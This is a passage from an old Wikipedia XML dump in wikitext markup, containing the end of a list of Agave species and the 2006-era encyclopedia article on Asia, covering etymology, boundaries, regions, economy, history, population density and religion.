*''[[Agave paucifolia]]''
*''[[Agave paupera]]''
*''[[Agave pavoliniana]]''
*''[[Agave peacockii]]''
*''[[Agave pedrosana]]''
*''[[Agave pedunculifera]]''
*''[[Agave pelona]]'' &amp;ndash; Bald Agave
*''[[Agave perplexans]]''
*''[[Agave pes-mulae]]''
*''[[Agave petiolata]]''
*''[[Agave petrophila]]''
*''[[Agave phillipsiana]]''
*''[[Agave picta]]''
*''[[Agave planera]]''
*''[[Agave polianthiflora]]''
*''[[Agave polianthoides]]''
*''[[Agave portoricensis]]'' Trel. &amp;ndash; Puerto Rico Century Plant
*''[[Agave potatorum]]'' &amp;ndash; Drunkard Agave[[Image:agave.potatorum.kewgardens.london.arp.jpg|thumb|right|250px|Agave potatorum at Kew Gardens, London, England]] 
*''[[Agave potosina]]''
*''[[Agave potrerana]]''
*''[[Agave prainiana]]''
*''[[Agave promontorii]]''
*''[[Agave prostrata]]''
*''[[Agave protuberans]]''
*''[[Agave pruinosa]]''
*''[[Agave pseudotequilana]]''
*''[[Agave pugioniformis]]''
*''[[Agave pulcherrima]]''
*''[[Agave pulchra]]''
*''[[Agave pumila]]''
*''[[Agave punctata]]''
*''[[Agave purpurea]]''
*''[[Agave purpusorum]]''
*''[[Agave pygmae]]''
*''[[Agave quadrata]]''
*''[[Agave quiotifera]]''
*''[[Agave ragusae]]''
*''[[Agave rasconensis]]''
*''[[Agave regia]]''
*''[[Agave revoluta]]''
*''[[Agave rhodacantha]]''
*''[[Agave rigida]]''
*''[[Agave roezliana]]''
*''[[Agave rudis]]''
*''[[Agave rupicola]]''
**''Agave rupicola'' var. ''brevifolia''
**''Agave rupicola'' var. ''longifolia''
**''Agave rupicola'' var. ''rubridentata''
*''[[Agave rutteniae]]''
*''[[Agave rzedowskiana]]''
*''[[Agave salmdyckii]]''
*''[[Agave salmiana]]'' &amp;ndash; Pulque, Maguey, Maguey de montaña (syn. ''Agave atrovirens'')
**''Agave salmiana'' var. ''angustifolia''
**''Agave salmiana'' var. ''cochlearis''
*''[[Agave samalana]]''
*''[[Agave sartorii]]''
*''[[Agave scaphoidea]]''
*''[[Agave scaposa]]''
*''[[Agave scheuermaniana]]''
*''[[Agave schildigera]]''
*''[[Agave schneideriana]]''
*''[[Agave schottii]]'' Engelm. &amp;ndash; Maguey puercoesp n, Schott Agave, Schott's Century Plant, Shindagger, Leather Agave
**''Agave schottii'' var. ''serrulata''
*''[[Agave scolymus]]''
**''Agave scolymus'' var. ''polymorpha''
*''[[Agave sebastiana]]''
*''[[Agave seemanniana]]''
**''Agave seemanniana'' var. ''perscabra''
*''[[Agave serrulata]]''
*''[[Agave sessiliflora]]''
*''[[Agave shaferi]]''
*''[[Agave shawii]]'' Engelm. &amp;ndash; Coastal Agave, Maguey primavera
*''[[Agave shrevei]]''
**''Agave shrevei'' ssp. ''magna''
**''Agave shrevei'' ssp. ''matapensis''
*''[[Agave sicaefolia]]''
*''[[Agave simoni]]''
*''[[Agave sisalana]]'' Perrine &amp;ndash; Maguey de Sisal, Sisal, Sisal Hemp (syn. ''Furcraea sisaliana'')
*''[[Agave sleviniana]]''
*''[[Agave smithiana]]''
*''[[Agave sobolifera]]''
**''Agave sobolifera'' f. ''spinidentata''
*''[[Agave sobria]]''
**''Agave sobria'' ssp. ''frailensis''
*''[[Agave sordida]]''
*''[[Agave striata]]''
**''Agave striata'' var. ''mesae''
*''[[Agave stricta]]''
*''[[Agave stringens]]''
*''[[Agave subinermis]]''
*''[[Agave subsimplex]]''
*''[[Agave subtilis]]''
*''[[Agave subzonata]]''
*''[[Agave sullivani]]''
*''[[Agave tecta]]''
*''[[Agave tenuifolia]]''
*''[[Agave tenuispina]]''
*''[[Agave teopiscana]]''
*''[[Agave tequilana]]'' A. Weber &amp;ndash; Mezcal azul tequilero, Tequila Agave, Weber Blue Agave (gives [[tequila]])
*''[[Agave terraccianoi]]''
*''[[Agave theometel]]''
*''[[Agave thomasae]]''
*''[[Agave thomsoniana]]''
*''[[Agave tigrina]]''
*''[[Agave titanota]]''
*''[[Agave todaroi]]''
*''[[Agave toneliana]]''
*''[[Agave tortispina]]''
*''[[Agave toumeyana]]'' Trel. &amp;ndash; Toumey Agave, Toumey's Century Plant
**''Agave toumeyana'' var. ''bella''
*''[[Agave trankeera]]''
*''[[Agave troubetskoyana]]''
*''[[Agave tubulata]]''
**''Agave tubulata'' ssp. ''brevituba''
*''[[Agave underwoodii]]''
*''[[Agave unguiculata]]''
*''[[Agave utahensis]]'' Engelm. &amp;ndash; Utah Agave
**''Agave utahensis'' var. ''discreta''
*''[[Agave van-grolae]]''
*''[[Agave vandervinneni]]''
*''[[Agave ventum-versa]]''
*''[[Agave vernae]]''
*''[[Agave verschaffeltii]]''
*''[[Agave vestita]]''
*''[[Agave vicina]]''
*''[[Agave victoriae-reginae]]'' &amp;ndash; Queen Victoria's Agave
**''Agave victoriae-reginae'' f. ''dentata''
**''Agave victoriae-reginae'' f. ''latifolia''
**''Agave victoriae-reginae'' f. ''longifolia''
**''Agave victoriae-reginae'' f. ''longispina''
**''Agave victoriae-reginae'' f. ''ornata''
**''Agave victoriae-reginae'' f. ''stolonifera''
**''Agave victoriae-reginae'' f. ''viridis''
**''Agave victoriae-reginae'' ssp. ''swobodae''
*''[[Agave vilmoriniana]]'' Berger &amp;ndash; Octopus Agave
*''[[Agave viridissima]]''
*''[[Agave vivipara]]''
**''Agave vivipara'' var. ''cabaiensis''
**''Agave vivipara'' var. ''cuebensis''
*''[[Agave vizcainoensis]]''
*''[[Agave wallisii]]''
*''[[Agave warelliana]]''
*''[[Agave washingtonensis]]''
*''[[Agave watsoni]]''
*''[[Agave weberi]]'' Cels ex Poisson &amp;ndash; Maguey liso, Weber's Century Plant, Weber Agave
*''[[Agave weingartii]]''
*''[[Agave wendtii]]''
*''[[Agave wercklei]]''
*''[[Agave wiesenbergensis]]''
*''[[Agave wightii]]''
*''[[Agave wildingii]]''
*''[[Agave winteriana]]''
*''[[Agave wislizeni]]'' [[Image:Agave parrasana.jpg|thumb|''Agave parrasana'' synonym ''Agave wislizeni'']]
*''[[Agave wocomahi]]''
*''[[Agave woodrowi]]''
*''[[Agave wrightii]]''
*''[[Agave xylonacantha]]'' Salm-Dyck &amp;ndash; Century Plant, Maguey diente de tiburn
*''[[Agave yaquiana]]''
*''[[Agave yuccaefolia]]''
**''Agave yuccifolia'' var. ''caespitosa''
*''[[Agave zapupe]]''
*''[[Agave zebra]]''
*''[[Agave zonata]]''
*''[[Agave zuccarinii]]''

==References==
* [[Howard Scott Gentry]], ''Agaves of Continental North America'' (University of Arizona Press,  1982), the standard work, with accounts of 136 species
*[http://www.ipni.org/index.html IPNI : The International Plant Name Index]

==External links==
* [http://www.desert-tropicals.com/Plants/Agavaceae/Agave.html Desert Tropicals ''Agave'' list]
* [http://www.shakeoffthesugar.net/article1042.html Agave Nectar or Syrup]
* [http://www.henriettesherbal.com/eclectic/kings/agave-virg.html Agave virginica (False Aloe)] King's American Dispensatory @ Henriette's Herbal
*[http://bodd.cf.ac.uk/BotDermFolder/BotDermA/AGAV.html Botanical Dermatology Database] Information on agave contact dermatitis

[[Category:Agavaceae]]
[[Category:Poisonous_plants]]
[[Category:Dermatology]]

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[[ja:リュウゼツラン]]
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[[zh:龍舌蘭草]]</text>
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    <title>Amaltheia</title>
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    <title>Asia</title>
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      <comment>Reverted edits by [[Special:Contributions/72.137.245.207|72.137.245.207]] ([[User talk:72.137.245.207|talk]]) to last version by Dcsohl</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}

{{otheruses}}
{{seealso|Asian|Eurasian}}
'''Asia''' is the largest and most populous region or [[continent]] depending on the definition.  It is traditionally defined as part of the [[landmass]] of [[Africa]]-[[Eurasia]] lying east of the [[Suez Canal]], east of the [[Ural Mountains]], and south of the [[Caucasus Mountains]] and the [[Caspian Sea|Caspian]] and [[Black Sea]]s. About 60% of the world's [[human population]] lives in Asia, of whom only 2% live in the northern and interior half ([[Siberia]], [[Mongolia]], [[Kazakhstan]], [[Xinjiang]], [[Tibet]], [[Qinghai]], western [[Uzbekistan]] and [[Turkmenistan]]); the other 98% live in the remaining half.
[[Image:LocationAsia.png|thumb|250px|World map showing Asia.]]
==Etymology==
The word ''Asia'' entered English, via [[Latin]], from [[Ancient Greek]] Ασία (''Asia''; see also [[List of traditional Greek place names]]). This name is first attested in [[Herodotus]] (c. 440 BC), where it refers to [[Asia Minor]]; or, for the purposes of describing the [[Persian Wars]], to the [[Persian Empire]], as opposed to [[Greece]] and [[Egypt]]. Herodotus comments that he is puzzled as to why three different women's names are used to describe a single land-mass ([[Europa]], Asia and [[Libya]], referring to Africa) stating that most Greeks assumed that Asia was named after the wife of [[Prometheus]] but that the [[Lydians]] say it was named after [[Asias]], son of [[Cotys]] who passed the name on to a tribe in [[Sardis]]. 

Even before Herodotus, [[Homer]] knew of a [[Troy|Trojan]] ally named [[Asios Hyrtakides|Asios]], son of [[Hyrtacus]], a ruler over several towns, and elsewhere he describes a marsh as ασιος (Iliad 2, 461). The Greek term may be derived from [[Assuwa]], a [[14th century BC]] confederation of states in Western Anatolia. [[Hittite language|Hittite]] ''assu-'' &quot;good&quot; is probably an element in that name. 

Alternatively, the ultimate etymology of the term may be from the [[Akkadian language|Akkadian]] word ''(w)aṣû(m)'', cognate of Hebrew יצא, which means &quot;to go out&quot; or &quot;to ascend&quot;, referring to the direction of the [[sun]] at sunrise in the [[Middle East]], and also likely connected with the Phoenician word ''asa'' meaning east. This may be contrasted to a similar etymology proposed for ''Europe'', as being from [[Semitic languages|Semitic]] ''erēbu'' &quot;to enter&quot; or &quot;set&quot; (of the sun). However, an originally Mesopotamian or Middle Eastern perspective would not explain how the term &quot;Asia&quot; first came to be associated with Anatolia as lying ''west'' of the Semitic speaking area.

==Definition and Boundaries==
[[Image:Asia-map.png|right|thumb|280px|Political map of Asia]]
Medieval Europeans considered Asia as a continent, a distinct landmass. The European concept of the three continents in the [[Old World]] goes back to [[classical antiquity]] with the [[etymology]] of the word rooted in the ancient [[Near East|Near]] and [[Middle East]]. The demarcation between Asia and [[Africa]] is the [[Isthmus]] of [[Suez Canal|Suez]] and the [[Red Sea]]. The boundary between Asia and [[Europe]] is commonly believed to run through the [[Dardanelles]], the [[Sea of Marmara]], the [[Bosporus]], the Black Sea, the Caucasus Mountains, the Caspian Sea, the [[Ural River]] to its source, and the Ural Mountains to the [[Kara Sea]] near Kara, [[Russia]]. However, modern discovery of the extent of Africa and Asia made this definition rather anachronistic, especially in the case of Asia, which would have several regions that would be considered distinct landmasses if these criteria were used (for example, South Asia and East Asia). 

Geologists and physical geographers no longer consider Asia and Europe to be separate continents. It is either defined in terms of geological landmasses (physical geography) or tectonic plates (geology). In the former case, Europe is a western peninsula of [[Eurasia]] or the Africa-Eurasia landmass. In the latter, Europe and Asia are still part of the Eurasian plate, which excludes the Arabian and Indian tectonic plates. 

In human geography, there are two schools of thought. One school follows historical convention and treats Europe and Asia as different continents, categorizing Europe, East Asia (the Orient), South Asia (British India), and the Middle East (Arabia and Persia) as specific regions for more detailed analysis. The other schools equate the word &quot;continent&quot; in terms of geographical region when referring to Europe, and use the term &quot;region&quot; to describe Asia in terms of physical geography. Because in linguistic terms, &quot;continent&quot; implies a distinct landmass, it is becoming increasingly common to substitute the term &quot;region&quot; for &quot;continent&quot; to avoid the problem of disambiguation altogether.

There is much confusion in European languages with the term &quot;Asian&quot;. Because a category implies homogenity, the term &quot;Asian&quot; almost always refers to a subcategory of people from Asia rather than referring to &quot;Asian&quot; defined in term of &quot;Asia&quot;. The fact that in American English, Asian refers to East Asian (Orientals), while in British English, Asian refers to South Asian reflects this confusion. Sometimes, it is not even clear exactly what &quot;Asia&quot; consists of. Some definitions exclude [[Turkey]], the Middle East, and/or Russia. The term is sometimes used more strictly in reference to [[Asia Pacific]], which does not include the Middle East or Russia, but does include islands in the [[Pacific Ocean]] &amp;mdash; a number of which may also be considered part of [[Australasia]] and/or [[Oceania]]. Asia contains the [[Indian subcontinent]], Arabian subcontinent, as well as a piece of the North American plate in Siberia.
{{further|[[Transcontinental nation#Countries in both Asia and Europe]]}}
{{seealso|Copenhagen criteria#Geographic_criteria for the definition of Europe}}
{{seealso|Orientalism}}

==Geographical regions==
{{seealso|Geography of Asia}}
[[Image:Asia satellite orthographic.jpg|thumb|280px|Satellite view of Asia]]
As already mentioned, Asia is a subregion of [[Eurasia]]. For further subdivisions based on that term, see [[North Eurasia]] and [[Central Eurasia]].

Some Asian countries stretch beyond Asia. See [[Bicontinental country]] for details about the borderline cases between Asia and Europe, Asia and Africa, and Asia and Oceania.

The following subregions of Asia are traditionally recognized:
*[[Central Asia]]
*[[East Asia]]
*[[Far East]]
*[[North Asia]]
*[[South Asia]] (or Indian Subcontinent)
*[[Southeast Asia]]
*[[Southwest Asia]] (or Middle East or West Asia)

===Central Asia===
There is no absolute consensus in the usage of this term. Usually, Central Asia includes:
* the [[Central Asian Republics]] of [[Kazakhstan]] (excluding its small [[Bicontinental country#Countries in both Asia and Europe|European]] territory), [[Uzbekistan]], [[Tajikistan]], [[Turkmenistan]] and [[Kyrgyzstan]].
* [[Afghanistan]], [[Mongolia]], and the western regions of [[China]] are also sometimes included.
* Former [[Soviet]] states in the [[Caucasus]] region.

Central Asia is currently geopolitically important because international disputes and conflicts over [[oil pipeline|oil pipelines]],  [[Nagorno-Karabakh]], and [[Chechnya]], as well as the presence of [[U.S. military]] and [[Military of the UK|U.K. military]] forces in [[Afghanistan]].

===East Asia ===
This area includes:
* The [[Pacific Ocean]] island countries of [[Taiwan]] and [[Japan]]. {{further|[[Political status of Taiwan]]}}
* [[North Korea|North]] and [[South Korea]] on the [[Korean Peninsula]].
* [[China]], but sometimes only the eastern regions

Sometimes the nations of [[Mongolia]] and [[Vietnam]] are also included in East Asia.

More informally, [[Southeast Asia]] is included in East Asia on some occasions.

===North Asia===
This term is rarely used by geographers, but usually it refers to the bigger Asian part of Russia, also known as [[Siberia]]. Sometimes the northern parts of other Asian nations, such as [[Kazakhstan]] are also included in Northern Asia.

===South Asia (or Indian Subcontinent)===
South Asia is also referred to as the [[Indian Subcontinent]]. It includes:
* The [[Himalayan States]] of [[India]], [[Pakistan]], [[Nepal]], [[Bhutan]] and [[Bangladesh]].
* The [[Indian Ocean]] nations of [[Sri Lanka]] and the [[Maldives]]. India's [[Andaman]], [[Nicobar]] and [[Lakshadweep]] islands also lie in the Indian Ocean.
* The [[peninsular India]] (also known as the [[Deccan Plateau]])
* Sometimes Afghanistan is also included into this category.

===Southeast Asia===
This region contains the [[Malay Peninsula]], [[Indochina]] and islands in the [[Indian Ocean]] and [[Pacific Ocean]]. The countries it contains are:

* In [[Indochina|mainland Southeast Asia]], the countries [[Myanmar]], [[Thailand]], [[Laos]], [[Cambodia]] and [[Vietnam]].

* In [[Maritime Southeast Asia]], the countries of [[Malaysia]], [[Brunei]], the [[Philippines]], [[Singapore]] and [[Indonesia]] ([[Bicontinental country#Countries in both Asia and Oceania|some]] of the Indonesian islands also lie in the [[Melanesia]] region of [[Oceania]]). [[East Timor]] (also [[Melanesia]]n) is sometimes included too.

The country of [[Malaysia]] is divided in two by the [[South China Sea]], and thus has both a mainland and island part.

===Southwest Asia (or Middle East, Near East or West Asia)===
This can also be called by the Western term ''[[Middle East]]'', which is commonly used by Europeans and Americans. ''Middle East'' (to some interpretations) is often used to also refer to some countries in [[North Africa]]. Southwest Asia can be further divided into:

* [[Anatolia]] (i.e. [[Asia Minor]]), constituting the [[Asian]] [[Bicontinental country#Countries in both Asia and Europe|part of]] Turkey.
* The [[island nation]] of [[Cyprus]] in the [[Mediterranean Sea]].
* The [[Levant]] or [[Near East]], which includes [[Syria]], [[Israel]], [[Jordan]], [[Lebanon]], [[Iraq]] and the Asian [[Bicontinental country#Countries in both Asia and Africa|portion]] of [[Egypt]].
* The [[Arabian peninsula]], including [[Saudi Arabia]], [[United Arab Emirates]], [[Bahrain]], [[Qatar]], [[Oman]], [[Yemen]] and [[Kuwait]].
* The [[Caucasus]] region (which straddles both Asia and [[Europe]]), namely [[Transcaucasia]], including a small portion of Russia and, arguably, most if not all of [[Georgia (country)|Georgia]], [[Armenia]], and [[Azerbaijan]].
* The [[Iranian Plateau]], containing [[Iran]] and parts of other neighbouring nations.

{{seealso|Gulf States}}

==Economy==
{| class=&quot;wikitable&quot; style=&quot;width:300px;&quot; align=&quot;right&quot;
|+ &lt;big&gt;'''Economy of Asia'''&lt;/big&gt;&lt;br&gt;&lt;small&gt;During 2003 unless otherwise stated&lt;/small&gt;
|-
|Population:
| 4.001 billion (2002)
|-
|[[Gross domestic product|GDP]] ([[List of countries by GDP (PPP)|PPP]]):
|[[US$]]18.077 trillion
|-
|[[Gross domestic product|GDP]] ([[List of countries by GDP|Currency]]):
| $8.782 trillion
|-
|GDP/capita ([[List of countries by GDP (PPP) per capita|PPP]]):
| $4,518
|-
|GDP/capita ([[List of countries by GDP (Nominal) per capita|Currency]]):
| $2,195
|-
|Annual growth of &lt;br&gt; per capita GDP:
|
|-
|Income of top 10%:
|
|-
| [[Millionaires]]:
| 2.0 million (0.05%)
|-
|[[Unemployment]]
|
|-
|Estimated female&lt;br&gt; [[income]]
|
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | &lt;small&gt;Most numbers are from the [[UNDP]] from 2002, some numbers exclude certain countries for lack of information.&lt;/small&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | {{World economy infobox footer}}
|}
{{main|Economy of Asia}}
In terms of [[gross domestic product]] ([[Purchasing Power Parity|PPP]]), the largest national economy within Asia is that of the [[PRC]] ([[People's Republic of China]]).  Over the last decade, China's and [[India]]'s economies have been growing rapidly, both with an average annual growth rate above 7%.  PRC is the world's second largest economy after the US, followed by [[Japan]] and [[India]] as the world's third and fourth largest economies respectively (then followed by the European nations: [[Germany]], [[U.K.]], [[France]] and [[Italy]]).

In terms of [[exchange rates]] (nominal GDP) however, Japan has the largest economy in Asia and second largest of any single nation in the world, after surpassing the Soviet Union (measured in [[Net Material Product]]) in 1986 and Germany in 1968.  (NB: A number of supernational economies are larger, such as the [[EU]], [[NAFTA]] or [[APEC]]).  Economic growth in Asia since [[World War II]] to the 1990's had been concentrated in few countries of the [[Pacific Rim]], and has spread more recently to other regions.  In the late 80's and early 90's Japan's economy was almost as large as that of the rest of the continent combined.  In 1995, Japan's economy nearly equalled the USA to tie the largest economy in the world for a day, after the Japanese currency reached a record high of 79 [[yen]].  However, since then Japan's currency has corrected and China has grown to be the second largest Asian economy, followed by India in terms of exchange rates.  It is expected that China will surpass Japan in currency terms to have the largest nominal GDP in Asia within a decade or two.

Trade blocs:
*[[Asia-Pacific Economic Cooperation]]
*[[Asia-Europe Meeting|Asia-Europe Economic Meeting]]
*[[Association of Southeast Asian Nations]]
*[[Closer Economic Partnership Arrangement]]
*[[Commonwealth of Independent States]]
*[[South Asian Association for Regional Cooperation]]
*[[South Asia Free Trade Agreement (proposed)]]

===Natural resources===
Asia is by a considerable margin the largest continent in the [[world]], and is rich in natural resources, such as [[Petroleum]] and [[iron]].

High productivity in agriculture, especially of [[rice]], allows high population density of countries in the warm and humid area.  Other main agricultural products include [[wheat]] and [[chicken]].

Forestry is extensive throughout Asia except Southwest and Central Asia. [[Fishing]] is a major source of food in Asia, particularly in Japan.

===Manufacturing===
Manufacturing in Asia has traditionally been strongest in East and Southeast Asia, particularly in [[PRC]], [[Taiwan]], [[Japan]], [[South Korea]] and [[Singapore]]. The industry varies from manufacturing cheap goods such as [[toy]]s to high-tech goods such as [[computer]]s and [[automobile|car]]s.  Many companies from [[Europe]], [[North America]], and [[Japan]] have significant operations in the developing Asia to take avantage of its abundant supply of cheap labor.

One of the major employers in manufacturing in Asia is the [[textile]] industry. Much of the world's supply of clothing and footwear now originates in Southeast Asia.

===Financial and other services===
Asia has three main financial centers. They are in [[Hong Kong]], [[Singapore]] and [[Tokyo]]. Call centers are becoming major employers in [[India]] and the [[Philippines]], due to the availablity of many well-educated English speakers. The rise of the business process [[outsourcing]] industry has seen the rise of India and China as the other financial centers.

==Early history==
{{main|History of Asia}}
[[Image:Asia 1892 amer ency brit.jpg|thumb|200px|Map of Asia, 1892.]]
The history of Asia can be seen as the distinct histories of several peripheral coastal regions &amp;mdashl [[East Asia]], [[South Asia]], and the [[Middle East]] &amp;mdash; linked by the interior mass of the [[Central Asia]]n [[steppe]].

The coastal periphery was home to some of the world's earliest known civilizations, each of them developing around fertile river valleys.  The civilizations in [[Mesopotamia]], the [[Indus Valley]], and the [[Yangtze River|Yangtze]] shared many similarities, and may well have exchanged technologies and ideas such as [[mathematics]] and the wheel.  Other innovations, such as that of writing, seem to have been developed individually in each area.  Cities, states and empires developed in these lowlands.

The central steppe region had long been inhabited by horse-mounted nomads, and from the steppes they could reach all areas of Asia.  The earliest postulated expansion out of the steppe is that of the [[Indo-European]]s, who spread their languages into the Middle East, India, and in the [[Tocharians]], to the borders of China. The northernmost part of Asia, including much of [[Siberia]], was largely inaccessible to the steppe nomads, owing to the dense forests, the climate, and the [[tundra]].  These areas remained very sparsely populated.

The centre and the peripheries were mostly kept separated by mountains and deserts.  The [[Caucasus]] and [[Himalaya]] mountains and the [[Karakum Desert|Karakum]] and [[Gobi Desert|Gobi]] deserts formed barriers that the steppe horsemen could cross only with difficulty.  While technologically and socially, the urban city dwellers were more advanced, in many cases they could do little militarily to defend against the mounted hordes of the steppe.  However, the lowlands did not have enough open grasslands to support a large horsebound force;  for this and other reasons, the nomads who conquered states in China, India, and the Middle East often found themselves adapting to the local, more affluent societies.

==Population density==
The following table lists countries and dependencies by [[population density]] in inhabitants and km&lt;sup&gt;2&lt;/sup&gt;.

Unlike the figures in the country articles, the figures in this table are based on areas including inland water bodies (lakes, reservoirs, rivers) and may therefore be lower here.

The whole of Egypt, Russia, Kazakhstan, Georgia, Azerbaijan and Turkey are referred to in the table, although they may be considered to be only [[Countries in both Europe and Asia|partly in Asia]]. Asia also contains about 60% of the world's population. Leaving the other 40% of the world's population to other continents.

&lt;center&gt;
{| class=&quot;wikitable&quot; style=&quot;text-align:right;&quot;
|- style=&quot;text-align:center;&quot;
! Country / Region
! Population Density&lt;br&gt;&lt;small&gt;(/km&lt;sup&gt;2&lt;/sup&gt;)&lt;/small&gt;
! Area&lt;br&gt;&lt;small&gt;(km&lt;sup&gt;2&lt;/sup&gt;)&lt;/small&gt;
! Population&lt;br&gt;&lt;small&gt;(2002-07-01 est.)&lt;/small&gt;
|-
| align=&quot;left&quot; | ''{{MacauSAR}}'' 
| 17,684
| 25
| 461,833
|-
| align=&quot;left&quot; | {{SIN}}
| 6,389
| 693
| 4,452,732
|-
| align=&quot;left&quot; | ''{{HongKongSAR}}''
| 6,317
| 1,092
| 7,303,334
|-
| align=&quot;left&quot; | {{MDV}}
| 1,070
| 300
| 320,165
|-
| align=&quot;left&quot; | {{BAN}}
| 1,002
| 144,000
| 133,376,684
|-
| align=&quot;left&quot; | {{BHR}}
| 987
| 665
| 656,397
|-
| align=&quot;left&quot; | {{ROC-TW}}
| 627
| 35,980
| 22,548,009
|-
| align=&quot;left&quot; | {{SKO}}
| 491
| 98,480
| 48,324,000
|-
| align=&quot;left&quot; | {{LBN}}
| 354
| 10,400
| 3,677,780
|-
| align=&quot;left&quot; | {{JPN}}
| 336
| 377,835
| 126,974,628
|-
| align=&quot;left&quot; | {{IND}}
| 329
| 3,287,590
| 1,045,845,226
|-
| align=&quot;left&quot; | {{LKA}}
| 298
| 65,610
| 19,576,783
|-
| align=&quot;left&quot; | {{ISR}}
| 290
| 20,770
| 6,029,529
|-
| align=&quot;left&quot; | {{PHL}}
| 282
| 300,000
| 84,525,639
|-
| align=&quot;left&quot; | {{VNM}}
| 246
| 329,560
| 81,098,416
|-
| align=&quot;left&quot; | {{NKO}}
| 184
| 120,540
| 22,224,195
|-
| align=&quot;left&quot; | {{NEP}}
| 184
| 140,800
| 25,873,917
|-
| align=&quot;left&quot; | {{PAK}}
| 184
| 803,940
| 147,663,429
|-
| align=&quot;left&quot; | {{PRC-mainland}}
| 134
| 9,596,960
| 1,284,303,705
|-
| align=&quot;left&quot; | {{THA}}
| 121
| 514,000
| 62,354,402
|-
| align=&quot;left&quot; | {{IDN}}
| 121
| 1,919,440
| 231,328,092
|-
| align=&quot;left&quot; | {{KUW}}
| 118
| 17,820
| 2,111,561
|-
| align=&quot;left&quot; | {{ARM}}
| 112
| 29,800
| 3,330,099
|-
| align=&quot;left&quot; | {{SYR}}
| 93
| 185,180
| 17,155,814
|-
| align=&quot;left&quot; | {{AZE}}
| 90
| 86,600
| 7,798,497
|-
| align=&quot;left&quot; | {{TUR}}
| 86
| 780,580
| 67,308,928
|-
| align=&quot;left&quot; | {{CYP}}
| 83
| 9,250
| 775,927
|-
| align=&quot;left&quot; | {{GEO}}
| 71
| 69,700
| 4,960,951
|-
| align=&quot;left&quot; | {{CAM}}
| 71
| 181,040
| 12,775,324
|-
| align=&quot;left&quot; | {{EGY}}
| 71
| 1,001,450
| 70,712,345
|-
| align=&quot;left&quot; | {{QAT}}
| 69
| 11,437
| 793,341
|-
| align=&quot;left&quot; | {{MAS}}
| 69
| 329,750
| 22,662,365
|-
| align=&quot;left&quot; | {{TLS}}
| 63
| 15,007
| 952,618
|-
| align=&quot;left&quot; | {{MMR}}
| 62
| 678,500
| 42,238,224
|-
| align=&quot;left&quot; | {{BRU}}
| 61
| 5,770
| 350,898
|-
| align=&quot;left&quot; | {{JOR}}
| 58
| 92,300
| 5,307,470
|-
| align=&quot;left&quot; | {{UZB}}
| 57
| 447,400
| 25,563,441
|-
| align=&quot;left&quot; | {{IRQ}}
| 55
| 437,072
| 24,001,816
|-
| align=&quot;left&quot; | {{TJK}}
| 47
| 143,100
| 6,719,567
|-
| align=&quot;left&quot; | {{BHU}}
| 45
| 47,000
| 2,094,176
|-
| align=&quot;left&quot; | {{AFG}}
| 43
| 647,500
| 27,755,775
|-
| align=&quot;left&quot; | {{IRN}}
| 40
| 1,648,000
| 66,622,704
|-
| align=&quot;left&quot; | {{YEM}}
| 35
| 527,970
| 18,701,257
|-
| align=&quot;left&quot; | {{ARE}}
| 30
| 82,880
| 2,445,989
|-
| align=&quot;left&quot; | {{LAO}}
| 24
| 236,800
| 5,777,180
|-
| align=&quot;left&quot; | {{KGZ}}
| 24
| 198,500
| 4,822,166
|-
| align=&quot;left&quot; | {{OMN}}
| 13
| 212,460
| 2,713,462
|-
| align=&quot;left&quot; | {{SAU}}
| 12
| 1,960,582
| 23,513,330
|-
| align=&quot;left&quot; | {{TKM}}
| 9.6
| 488,100
| 4,688,963
|-
| align=&quot;left&quot; | {{KAZ}}
| 6.2
| 2,717,300
| 16,741,519
|-
| align=&quot;left&quot; | {{RUS}}
| 3.0
| 13,083,100
| 39,129,729
|-
| align=&quot;left&quot; | {{MNG}}
| 1.7
| 1,565,000
| 2,694,432
|- style=&quot;font-weight:bold;&quot;
| align=&quot;left&quot; | Total
| 
| 45,711,848
| 3,895,528,341 
|}
&lt;/center&gt;

==Religion==
A large majority of people in the world who practice a religious faith practice one founded in Asia.

Religions founded in Asia and with a majority of their contemporary adherents in Asia include:

*[[Bahá'í Faith]]: slightly more than half of all adherents are in Asia
*[[Buddhism]]: [[Cambodia]], [[China]], [[Japan]], [[Korea]], [[Laos]], [[Mongolia]], [[Myanmar]], [[Singapore]], [[Sri Lanka]], [[Thailand]], [[Vietnam]], parts of northern, eastern, and western [[India]], and parts of central and eastern [[Russia]] (Siberia).
**[[Mahayana Buddhism]]: China, Japan, Korea, Singapore, Vietnam. 
**[[Theravada Buddhism]]: Cambodia, parts of China, Laos, Myanmar, Sri Lanka, Thailand, as well as parts of [[Vietnam]].
**[[Vajrayana Buddhism]]: Parts of China, [[Mongolia]], parts of northern and eastern [[India]], parts of central, eastern [[Russia]] and [[Siberia]].
*[[Hinduism]]: [[India]], [[Nepal]], [[Bangladesh]], [[Sri Lanka]], [[Pakistan]], [[Malaysia]], [[Singapore]], [[Bali]].
*[[Islam]]: [[Central Asia|Central]], [[South Asia|South]], and [[Southwest Asia]], [[Malaysia]], [[Philippines]] [[Brunei]] and [[Indonesia]].
**[[Shia Islam]]: largely to specific [[Iran]], [[Azerbaijan]], parts of [[Iraq]], [[Bahrain]], parts of [[Afghanistan]], parts of [[India]], parts of [[Pakistan]].
**[[Sunni Islam]]: dominant in the rest of the regions mentioned above. 
*[[Jainism]]: [[India]]
*[[Qadiani]]: [[Pakistan]], [[Bangladesh]], [[India]].
*[[Shinto]]: [[Japan]]
*[[Sikhism]]: [[India]], [[Malaysia]], [[Hong Kong]]
*[[Daoism]]: [[China]], [[Korea]], [[Vietnam]], [[Singapore]], and [[Taiwan]] 
*[[Zoroastrianism]]: [[Iran]], [[India]], [[Pakistan]]
*[[Shamanism]]: [[Siberia]]
*[[Animism]]: Eastern [[India]]

Religions founded in Asia that have the majority of their contemporary adherents in other regions include:

*[[Christianity]] ([[Lebanon]], [[Syria]], [[Palestinian territories|Palestine]], [[Armenia]], [[Georgia (country)|Georgia]], [[South Korea]], [[Singapore]], [[Malaysia]], [[Indonesia]], [[East Timor]], [[Pakistan]], [[India]] and the [[Philippines]])
*[[Judaism]] (slightly fewer than half of its adherents reside in Asia; [[Israel]], [[Iran]], [[India]], [[Syria]].)

==See also==
{{commons|Asia}}
*[[Assuwa]]
*[[Asia Minor]]
*[[Pan-Asianism]]

==References==
{{unsourced}}

==External links==
*http://www.lib.utexas.edu/maps/asia.html
*http://www.freeworldmaps.net/asia/index.html


{{Continent}}
{{Region}}

[[Category:Asia| ]]
[[Category:Continents]]
[[af:Asië]]
[[ar:آسيا]]
[[an:Asia]]
[[ast:Asia]]
[[bg:Азия]]
